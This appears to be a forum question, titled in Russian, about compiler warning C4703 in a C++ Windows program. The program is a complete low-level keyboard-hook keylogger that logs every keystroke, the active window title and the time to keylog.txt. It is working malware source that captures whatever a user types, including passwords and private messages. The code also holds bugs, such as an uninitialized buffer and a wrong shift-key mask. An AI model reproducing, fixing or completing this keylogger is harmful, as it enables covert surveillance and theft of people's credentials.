Ошибка C4703: используется потенциально неинициализированная локальная переменная-указатель "keyboardLayout"

#include <iostream>
#include <Windows.h>
#include <time.h>
#include <fstream>
 
#pragma warning(disable:4996)
 
using namespace std;
 
int Save(int key);
 
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lparam);
 
HHOOK hook;
 
KBDLLHOOKSTRUCT kbStruct;
 
ofstream file;
 
int Save(int key)
{
    char prevProg[256];
 
    if (key == 1 || key == 2)
    {
        return 0;
    }
 
    HWND foreground = GetForegroundWindow();
 
    DWORD threadID;
 
    HKL keyboardLayout;
 
    if (foreground)
    {
        threadID = GetWindowThreadProcessId(foreground, NULL);
 
        keyboardLayout = GetKeyboardLayout(threadID);
 
        char crrProg[256];
 
        GetWindowText(foreground, crrProg, 256);
 
        if (strcmp (crrProg, prevProg) != 0)
        {
            strcpy_s(prevProg, crrProg);
 
            time_t t = time(NULL);
 
            struct tm *tm = localtime(&t);
 
            char c[64];
 
            strftime(c, sizeof(c), "%c", tm);
 
            file << "\n\n\n[Programm: " << crrProg << " DateTime: " << c << "]";
        }
    }
    cout << key << endl;
    if (key == VK_BACK)
        file << "BACKSPACE";
    else if (key == VK_RETURN)
        file << "\n";
    else if (key == VK_SPACE)
        file << " ";
    else if (key == VK_TAB)
        file << "[TAB]";
    else if (key == VK_SHIFT || key == VK_LSHIFT || key == VK_RSHIFT)
        file << "[SHIFT]";
    else if (key == VK_CONTROL || key == VK_LCONTROL || key == VK_RCONTROL)
        file << "[CTRL]";
    else if (key == VK_ESCAPE)
        file << "[ESC]";
    else if (key == VK_END)
        file << "[END]";
    else if (key == VK_HOME)
        file << "[HOME]";
    else if (key == VK_RIGHT)
        file << "[RIGHT]";
    else if (key == VK_LEFT)
        file << "[LEFT]";
    else if (key == VK_UP)
        file << "[UP]";
    else if (key == VK_DOWN)
        file << "[DOWN]";
    else if (key == 190 || key == 110)
        file << "[.]";
    else if (key == 189 || key == 109)
        file << "[-]";
    else if (key == 20)
        file << "[CAPS]";
    else
    {
        char crrKey;
 
        bool lower = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
 
        if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 ||
            (GetKeyState(VK_LSHIFT) & 0x1000) != 0 ||
            (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
        {
            lower = !lower;
        }
 
        crrKey = MapVirtualKeyExA(key, MAPVK_VK_TO_CHAR, keyboardLayout);
 
        if (!lower)
        {
            crrKey = tolower(crrKey);
        }
 
        file << char(crrKey);
    }
 
    file.flush();
 
    return 0;
}
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbStruct = *((KBDLLHOOKSTRUCT*)lParam);
            Save(kbStruct.vkCode);
        }
    }
 
    return CallNextHookEx(hook, nCode, wParam, lParam);
}
int main()
{
    file.open("keylog.txt", ios_base::app);
 
    ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1);
 
    if (!(hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
    {
        MessageBox(NULL, "Something has gone wrong!", "Error", MB_ICONERROR);
    }
 
    MSG message;
 
    while (true)
    {
        GetMessage(&message, NULL, 0, 0);
    }
}